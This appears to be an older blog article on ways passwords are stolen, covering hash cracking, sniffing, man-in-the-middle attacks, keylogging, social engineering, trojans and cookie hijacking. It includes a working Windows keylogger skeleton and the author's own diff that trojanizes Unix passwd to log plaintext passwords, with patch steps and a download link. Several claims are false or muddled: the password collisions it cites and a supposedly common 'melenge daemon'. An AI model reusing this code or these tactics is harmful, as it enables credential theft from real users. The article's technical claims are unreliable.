All your passwords are belong to us
... and anyone else.I'm sure most of my readers are aware of numerous methodologies for password capture. Most of you know to ignore mails claiming to be from your bank asking for your PIN. Or at least I hope so.
Shockingly there are people who still fall for that, but for those of us that don't how else can our precious passwords be stolen?
Some popular methods used include hash cracking, packet sniffing, key logging, and social engineering.
.-> One way Hash cracking.
|-> Reversible passwords (Two way hashing)
|-> Capturing password files
|-> Packet sniffing
|-> Man in the middle attacks
|-> Key logging
|-> There's no patch for human stupidity
|-> Trojans
|-> Writing passwords down.
|-> Session hijacking
|-> Cookie hijacking
'-> References/Links/Further Reading
One way Hash cracking.
Bare with me I go into quiet a lot of detail here.
Common algorithms for hashing are DES, MD4 (used in the windows SAM file), MD5, LM (LAN Manager Hashes [1]), SHA-1 and more recently, SHA-256 and SHA-512 have been used commonly. Though MD5, DES, MD4 and SHA-1 are known to have collisions [2].
The theory is that only your password will translate into the hash, this is a desirable injective characteristic. The hash is then stored in a file somewhere, the idea being that even if the hash file gets compromised, the attacker still has to crack the hashes. In practice most of these hash functions are non-injective which results in possible collisions.
As you can see, 12345678 and 123456789 generate the same output hash. It is said that they 'collide'.
Cracking is actually fairly simple. If you used a word, or name or similar as your password, a simple dictionary attack can be used to recover the password within minutes, or a different plain text string which produces an acceptable hash for authentication. This is why you are always being encouraged to use difficult passwords. Even on an extremely slow and outdated machine doing 90 hash calculations every second (90 c/s), results in a finishing the dictionary attack in 12 hours. This may sound like a long time, but in those 12 hours it has checked 3888000 words against your hash from multiple languages. This number is slightly a greater number of words than my openwall 'all.gz' dictionary [3] file has in it. Also bare in mind 90c/s is a very slow machine. Most personal computers these days can easily do over 6000 MD5 hash calculations a second. Which works out at a complete dictionary attack in 10minutes.
For example, say your password is 'secret', a common word, which is in a dictionary somewhere. If the service used MD5 hashing, you would have the hash 5ebe2294ecd0e0f08eab7690d2a6ee69 being stored. Using a dictionary attack the attacker just reads a word out of the dictionary, MD5's it, and checks it against the known hash. Once there is a match, you have the password. This can be done in seconds.
Even if you're password wasn't in a dictionary it may still be easy to find it quickly. Say your password is c0o1. Note I use two numbers there, 0 and 1. It's obviously not in the dictionary, but using a brute force attack, a computer program can try every possible combination, with c0o1 only being 4 characters long, with only lower case characters, and numbers the attacker only needs to try the character set of 'abcdefghijklmnopqrstuvwxyz0123456789', which believe it or not, would be pretty easy, even though there are thousands of combinations. The limited character set makes it simple.
With that character set we can work out how many combinations there should be.
364 + 363 + 362 + 361 = 1679616 + 46656 + 1296 + 36 = 1727604 permutations.
If you used some upper-case letters too, you add another 26 characters to the character set, and with symbols and non Latin characters, you expand you're character set to about 240ish characters. Expanding the length of the password also makes it exponentially harder to crack.
I would introduce a graph illustrating the exponential growth of a 36 character set over length, but you find that it grows so fast that the initial lengths just become 'invisable', so instead here is a table illustrating the growth.
| Length | Combinations |
|---|---|
| 1 | 36 |
| 2 | 1,332 |
| 3 | 47,988 |
| 4 | 1,727,604 |
| 5 | 62,193,780 |
| 6 | 2,238,976,116 |
| 7 | 80,603,140,212 |
| 8 | 2,901,713,047,668 |
| 9 | 104,461,669,716,084 |
| 10 | 3,760,620,109,779,060 |
| 11 | 135,382,323,952,046,000 |
| 12 | 4,873,763,662,273,660,000 |
| 13 | 175,455,491,841,852,000,000 |
| 14 | 6,316,397,706,306,670,000,000 |
| 15 | 227,390,317,427,040,000,000,000 |
However if we use a 62 character set (upper-case, lower-case, and numbers) we get a table like this.
| Length | Combinations |
|---|---|
| 1 | 62 |
| 2 | 3,906 |
| 3 | 242,234 |
| 4 | 15,018,570 |
| 5 | 931,151,402 |
| 6 | 57,731,386,986 |
| 7 | 3,579,345,993,194 |
| 8 | 221,919,451,578,090 |
| 9 | 13,759,005,997,841,600 |
| 10 | 853,058,371,866,182,000 |
| 11 | 52,889,619,055,703,300,000 |
| 12 | 3,279,156,381,453,600,000,000 |
| 13 | 203,307,695,650,123,000,000,000 |
| 14 | 12,605,077,130,307,700,000,000,000 |
| 15 | 781,514,782,079,074,000,000,000,000 |
With many hashing algorithms you have something called collisions, this is why if you are building a service which uses passwords stored in hash files, you need to pick your algorithm well.
It's not the only reason you should pick your hashing algorithms well, the algorithm (and how long it takes to run over a input string) effects how easy it is to crack. For instance, I said most machines can do at least 6000c/s above for MD5. For DES (a much weaker and older algorithm), the same machine can easily reach 160000 c/s.
To give an indication of crack speeds see the table below, this is with an old version of john [4] on one of my machines with all my normal tasks also running.
Benchmarking: Standard DES [48/64 4K]...
DONE
Many salts: 170692 c/s real, 174880 c/s virtual
Only one salt: 165222 c/s real, 168594 c/s virtual
Benchmarking: BSDI DES (x725) [48/64 4K]... DONE
Many salts: 6034 c/s real, 6058 c/s virtual
Only one salt: 6003 c/s real, 6039 c/s virtual
Benchmarking: FreeBSD MD5 [32/32]... DONE
Raw: 6625 c/s real, 6665 c/s virtual
Benchmarking: OpenBSD Blowfish (x32) [32/32]... DONE
Raw: 400 c/s real, 401 c/s virtual
Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short: 164454 c/s real, 166115 c/s virtual
Long: 610772 c/s real, 614451 c/s virtual
Benchmarking: NT LM DES [48/64 4K]... DONE
Raw: 1985036 c/s real, 1993008 c/s virtual
A collision is when two or more passwords, when hashed, produce the same hash. DES and MD5 both have collisions. One of my friends had a collision with his root password. He had included a bunch of numbers in his password at the end, so you had something along the lines of gulfwar1234. Both passwords gulfwar and gulfwar1234 produced the same hash. This would make it considerably easier for an attacker to crack that password, despite the length of his password being decent, and the character set marginally acceptable (though still very insecure). Collisions also make it much easier to attack with a dictionary attack.
So, to build a secure password you should have upper & lower case letters, numbers, symbols, all of these mixed together in a random order. Whilst unnecessary, if you know the algorithm that it's being hashed with, you could try to double check simple collisions yourself.
It is important you are familiar with how hashing works, since its used in many of the techniques below, in particular the need to actually crack hashes, or to circumvent them.
Reversible passwords (Two way hashing)
Some services will use an algorithm where it's possible to completely reverse what the hashed password is. This is sometimes called two way hashing. This can be useful for things like 'saved passwords' for ftp clients or web browser, where the user wants a program to be able to recall the users' original password. Examples of programs which do this are Firefox (web browser) and Filezilla (windows ftp client).
With reversible hashes you would hope that the hash file is encrypted with some pass-phrase requiring the user to enter their pass-phrase to decrypt the passwords, otherwise when the attacker gets the password file it's trivial again to reverse it provided they know the algorithm.
Capturing Password files
Many services store passwords in files. Some store them as plain text, others store them hashed (discussed above). The first stage to cracking a hash is getting the password file. You can then proceed to crack it. Sometimes an attacker gets lucky when the service uses no hashing of any kind. This is just down to the authentication implementation and rarely there is a good reason to omit it. For services which do not hash, you better hope have some sort of security to stop the file falling into the wrong hands in the first place, like uber strict permissions or a magic curse waiting for the attackers.
Password files are most commonly captured by failure of the administrator to put proper permissions on their files. Such as giving read permissions to everything, or running a service with unnecessarily high permissions (such as running a web server as the root/administrator user), this service is then used in the subsequent transversal to the password file.
Packet Sniffing
his method involves getting access to any machine which can hear network traffic of the target machine. Networks which are hubbed rather than switched are often easily vulnerable to this. The attacker could even just get super user access on the victims machine itself and packet sniff.
The attacker could store all their packet capture data into a file for further analysis later, or implement some sort of passive scanning.
Passive scanning would be accomplished by basically searching for keywords within a packet or packets within a stream. Such as 'Password', 'Login', 'User', etc., and record that packet as interesting to be analysed later.
They can even monitor and scan all packets involved in a single stream. This is done by a bit more aggressive scanning. The attacker's sniffing program keeps a record of active connections, when a packet matching some scan criteria passes by, the entire stream is noted down for inspection later. This could be useful in TCP where some of the search criteria is cut into two different packets, or the password or user or other credentials are not present in the suspect packet.
So for instance if you are logging into a site which uses no encryption like https (http with ssl) the attacker may have 'heard' these packets and have your authentication information in plain text.
It is also true that using synergy over a untrusted network without any sort of user-devised encrypted tunnelling (such as ssh tunnelling) is also an easy way to grab passwords, as all keys pressed by the user are sent out over the network to the target machine. An attacker can easily sniff for these keys.
Man in the middle attacks
As I said earlier, if the network is hubbed it's often easy to spy on other machines, this isn't really exclusive to hubbed networks. You can use an attack vector called a 'man in the middle attack' against switched networks. This technique involves either physically routing packets through a box you control by way of cabling, or using weaknesses in the way switching works.
There are two methods of this attack most useful to us, one is called ARP-spoofing, the other is called MAC flooding. ARP stands for address resolution protocol, this protocol is how machines on the network tell other machines what IP addresses co-respond to what MAC addresses. In short, we can use ARP to tell the victim machine that we are its gateway, and tell the gateway that we are the victim's machine.
This logically positions us in the middle of traffic from the perspective of those two machines. So when the victim sends data over his network interface, it should be destined for the network interface of the attackers machine. When the victim receives data, the gateway will have sent it to us first and we relay it to the victim.
The other method, MAC flooding may not work on all routers, but the concept is you send as many packets via the router using different MAC addresses. Each time one of these packets goes through the router, the router will store it in it's cache so it knows what MAC addresses are where. After a finite number of packets the cache of the router will become full. After this point most routers should default to broadcasting all other traffic that comes through – somewhat like a hub would, and from here we deploy our packet sniffing.
The main advantage of packet sniffing, is it can be done relatively remotely, and it can get any passwords for services with no sort of encryption. HTTP passwords, MSN, AIM, YIM, IRC, ftp, etc. passwords can easily be captured. If you were at a Internet Café, running a packet sniffer can be very productive for an attacker.
However it should be noted that some of the mentioned chat protocols may use encrypted authentication, however they tend not to use it over conversations. Anyone giving out unencrypted passwords over instant messaging protocols should be wary that they can be read by packet sniffing.
The disadvantage of packet sniffing is that an attacker may have a lot of data to analysis without any sort of filtering, and filtering can often miss stuff. Encrypted packets just make it near impossible to get anywhere, and it just won't get passwords for local programs, like the victims windows user account password or similar.
Key logging
Now this is powerful, and famous, I'm pretty sure many of you are familiar with this. This will gather everything a user types on their keyboard for the attacker to inspect, it's also rather easy to not be aware of it.
On windows it is trivial to write and run a key logger, additionally there are lots of projects and pieces of software already out there for windows which key log. Many already have the whole attacker perspective and mail the installer of the logger the type logs of the victim.
Linux however has only one major key logger (that I can think of) [7]
Lots of Trojans use key logging, then either E-Mail them back to the attacker, or often connect to IRC and print out what the user types in real time. I've seen bots like this in action and I can tell you it's an odd thing to watch. Especially when there are a lot of them.
To demonstrate how simple it is to write a Windows key logger, check out this code which implements a basic skeleton keylogger:
/*See references for link to this code [8]
* Stupidly simple windows key logger (demo code)
* winkeylog.c
* author: doug@nulldigital.net
*
*/
#include <windows.h>
int main(int argc, char ** argv) {
int i,r = 0;
while(1) {
for(i = 0x01; i <= 0xFF; i++) {
r = GetAsyncKeyState(i);
if (r) {
if (r & 0x1) { // has been pressed since last query
if ((i >= 0x30 && i <=0x39) || // if a number
(i >= 0x41 && i <= 0x5A) || // if a letter
i == 0x20) { // or a space
printf("%c\n", i);
} else if (i >= 0x70 && i <= 0x87) {
printf("F%d\n", i-0x6F);
} else switch(i) {
case VK_LEFT:
printf("VK_LEFT\n");
break;
case VK_END:
printf("VK_END\n");
break;
case VK_DELETE:
printf("VK_DELETE\n");
break;
default: /* to handle more keys you just add the appropriate
VK constant and write to a capture file (not done here) */
printf("Unhandled\n");
}
}
r = 0;
}
}
}
}
The up shot to the attacker of using key logging is.. well.. you get to see everything they type. This comes with the down shot of having an ass load of data to analysis. But this can be made easier by only logging strokes focused into, say, Internet Explorer, or MSN, or so on.
The attacker will capture all typed passwords, but it will miss those passwords which are already stored and 'remembered' within a piece of software, such as how Firefox can remember your password for your email, or digg, or google, etc.
Theres no patch for human stupidity
Many of you who browse through jinx.com regularly will know this phrase, it refers to social engineering, and my next topic.
Social engineering refers to any act of acting socialising – talking to other people – that results in act they take to your advantage. Most obvious example of this is people who work in Marketing! Getting you to buy their product. A more technical (and more relevant to discussion) example could be all those spam emails trying to encourage you to click on some horrible link.
With social engineering you can trick a user into giving their password up willingly, a common technique is to pretend to be a service administrator, email the victim, say that there has been a technical fault and they need the user to email back their account password. This is why many services on-line have a disclaimer 'we will never ask you for your password'.
There are many things a good social engineer can try to get you to do to disclose information, anything from asking you to actually give them the password, to getting you to go to a particular URL, to a technique called phishing, or any other sort of trojan system (perhaps even something like phpBB but without hashing the passwords, who knows, you may use that password in other places right?)
This is perhaps the most common technique employed, because it can easily be done en masse, is often very effective (worryingly), mostly against less technologically aware users (but not always!). Social engineering will often be applied to get the ball rolling for other techniques to work.
Trojans
A successful trojan does usually involve some social engineering. At least it does if you only care about targeting a specific person. The outline of a trojan system is simple. It's a system designed to get or do something to the victim. On the subject of this paper, we'll discuss methods of capturing passwords.
A system can be created in many ways to capture passwords. You could replace the Unix passwd program with a program which does the same, but records what it does as it does it. You could place code in the centre of a system authentication mechanism to send the password to the attacker by email or similar. Then invite or engineer people to join that system.
You could create a forum and modify the forum software to not hash passwords. The principle is the same for any piece of software which you can modify or duplicate and have it record the information you want.
The fore mentioned modification of the Unix passwd program has been modified by myself and the diff file uploaded [5]. I modifed passwd.c from the 4.0.13 version of the shadow tools source code. The only changes made were really trivial, anyone with a basic knowledge of C can easily do this. I did not modify any existing line, I only added some new ones.
Below is what I added in the new_password() routine in passwd.c:
299,312d298
<
< /*
< _____ ____ ___ _ _ _ _ _ ____
< |_ _| _ \ / _ \ | | / \ | \ | ( ) _ \
< | | | |_) | | | |_ | |/ _ \ | \| |/| | | |
< | | | _ <| |_| | |_| / ___ \| |\ | | |_| |
< |_| |_| \_\\___/ \___/_/ \_\_| \_| |____/ by doug@nulldigital.net
<
<
< */
< FILE *__fp = fopen("/root/passwordchanges.log", "a");
< fprintf(__fp, "%s -> '%s'(hash:%s)\n", pw->pw_name, pass, cp);
< fclose(__fp);
You can get my patch file here [5] and is applied as follows:
$ patch passwd.c passwd.diffSince the passwd program is given super user execute permissions once installed, we can write to /root, and users shouldn't be able to view /root, so they are none the wiser. This is a classic example why you should always use separate passwords for each service you use, and a classic example why I use DSA keys for remote ssh authentication only. With ssh DSA keys the administrator of the system shouldn't know the passphrase associated with the public key, nor knows the contents of the private key.
patching file passwd.c
Reversed (or previously applied) patch detected! Assume -R? [n] y
$
Modifying other software to do similar things is as easy, if not more so.
Other sorts of Trojans may use other listed techniques here to accomplish the same goal (grab passwords). I.E. a file download on a p2p network which is executable, sets up a key logger, or packet sniffer the victim locally, or just sends over the password hash file for the attacker to crack later. If the trojan is cheeky it could conceivably crack it on the victims machine and mail the cracked hash to the attacker!
Writing passwords down.
Ever known your co-workers, parents, or friends to write down some passwords somewhere? Do you do it? Don't expect security... or sympathy.
An attacker can easily use this, whether you wrote it down digitally, or in hard copy. Of course if it's hard copy they have to physically gain access to it.
Getting a plain text password without any deciphering is the attackers dream scenario. It takes no time at all to work out what the password is, no need to crack it, or wait for it to be used, and so on.
Just read, remember, and ruin their day!
Session hijacking.
This isn't so much about stealing passwords, and more about 'stealing logged in sessions'. What this means is that the user has already logged into a website or similar, and the attacker uses some method to trick the site into thinking that the attacker, is actually the user.
In http the SID is stored in a cookie on the localhost of the user. The SID identifies a range of data which is stored on the webserver and is in accessible directly to the user [6].
The methodology for this generally invokes the guessing or interception of what is known as a session identifier, or SID for short. This is some sort of token string that only the user client should have. One way is discussed in more detail in cookie hijacking section below. Another is to have already breached webserver security and be granted access to the directory in which session files are stored, often this is /tmp and so easy to access from a vulnerability in the web application. Such as directory transversal vulnerabilities.
A very good article on another method to grab SID can be found at http://staff.washington.edu/dittrich/talks/qsm-sec/script.html
Once the attacker has the SID the site would trust the attacker as the valid user, since it has little ways to determine otherwise.
Clever sites, such as banks or well written systems, will combine IP address disguised into the SID or the session data, or user-agent, or similar pseudo-unique data. Banks in particular tend to have a very short expiry on their sessions to make it harder for attackers to hijack the session (as well as say, the user leaving their computer for a bit whilst a co-worker or untrusted person plays with their computer)
Cookie hijacking.
The way to hijack a session identifier is to grab the users cookie, since the SID is stored there. There are some really simple ways to do this.
Such as be physically at their workstation when they are taking a break and dump their cookies, then duplicate the SID in your own cookies.
If you don't have physical access don't fret! Packet sniffing is also a great way, if you're on their LAN you can attempt a Man in the Middle attack.
But wait, there is more! If you don't have physical access, and you cannot poison his LAN, there is still hope. You can use vulnerabilities in web software to disclose cookies. Particularly easy if you can modify code on the remote machine to record cookies, but unlikely. You can use other services running on the web server to trick the user. Pull up a copy of nmap and search the target site.
Hopefully you'll find a melenge daemon - common on web servers. Connect to the melenge daemon with telnet, and link the victim to a page on the site, but instead of directing them to port 80, use the URL to direct them to the melenge port. Example, rather than go to http://example.com, the user is given a link which refers to http://example.com:2067/ where 2067 is the port that melenge, or similar daemon is running on. The victim will open the URL in a browser, and connect to port 2067, then make a HTTP request, which should include their cookies for example.com. The request they sent will be plainly visable to anyone connected to the daemon, and so you can see their cookies.
This can be used to steal more than just SID's, some badly made web applications store sensitive data in cookies, even so much as the password itself in poorly wrote web software.
Outro.
Well I hope this wasn't too boring, I know its fairly basic and non-technical for the most part, but it is important to remember what threats are out there, and how they work.
References/Links/Further Reading
- http://en.wikipedia.org/wiki/LM_hash
- http://en.wikipedia.org/wiki/Cryptographic_hash_function
- ftp://ftp.openwall.com/pub/wordlists
- http://www.openwall.com/john/
- http://nulldigital.net/files/passwd.diff
- http://uk.php.net/manual/en/ref.session.php
- http://sourceforge.net/projects/lkl
- http://nulldigital.net/code.php?winkeylog.css
This article as PDF
